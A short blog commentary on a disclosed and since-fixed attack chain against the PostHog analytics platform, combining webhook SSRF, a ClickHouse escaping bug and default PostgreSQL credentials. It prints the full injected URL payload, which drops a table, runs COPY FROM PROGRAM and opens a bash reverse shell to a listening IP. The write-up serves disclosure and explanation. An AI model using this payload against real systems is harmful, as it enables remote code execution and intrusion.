Inside PostHog: How SSRF, a ClickHouse SQL Escaping 0day, and Default PostgreSQL Credentials Formed an RCE Chain

Inside PostHog: How SSRF, a ClickHouse SQL Escaping 0day, and Default PostgreSQL Credentials Formed an RCE Chain (via) Mehmet Ince describes a very elegant chain of attacks against the PostHog analytics platform, combining several different vulnerabilities (now all reported and fixed) to achieve RCE - Remote Code Execution - against an internal PostgreSQL server.

The way in abuses a webhooks system with non-robust URL validation, setting up a SSRF (Server-Side Request Forgery) attack where the server makes a request against an internal network resource.

Here's the URL that gets injected:

http://clickhouse:8123/?query=SELECT+_+FROM+postgresql('db:5432','posthog',\"posthog_use'))+TO+STDOUT;END;DROP+TABLE+IF+EXISTS+cmd_exec;CREATE+TABLE+cmd_exec(cmd_output+text);COPY+cmd_exec+FROM+PROGRAM+$$bash+-c+\\"bash+-i+>%26+/dev/tcp/172.31.221.180/4444+0>%261\\"$$;SELECT+_+FROM+cmd_exec;+--\",'posthog','posthog')#

Reformatted a little for readability:

http://clickhouse:8123/?query=
SELECT *
FROM postgresql(
    'db:5432',
    'posthog',
    "posthog_use')) TO STDOUT;
    END;
    DROP TABLE IF EXISTS cmd_exec;
    CREATE TABLE cmd_exec (
        cmd_output text
    );
    COPY cmd_exec
    FROM PROGRAM $$
        bash -c \"bash -i >& /dev/tcp/172.31.221.180/4444 0>&1\"
    $$;
    SELECT * FROM cmd_exec;
    --",
    'posthog',
    'posthog'
)
#

This abuses ClickHouse's ability to run its own queries against PostgreSQL using the postgresql() table function, combined with an escaping bug in ClickHouse PostgreSQL function (since fixed). Then that query abuses PostgreSQL's ability to run shell commands via COPY ... FROM PROGRAM.

The bash -c bit is particularly nasty - it opens a reverse shell such that an attacker with a machine at that IP address listening on port 4444 will receive a connection from the PostgreSQL server that can then be used to execute arbitrary commands.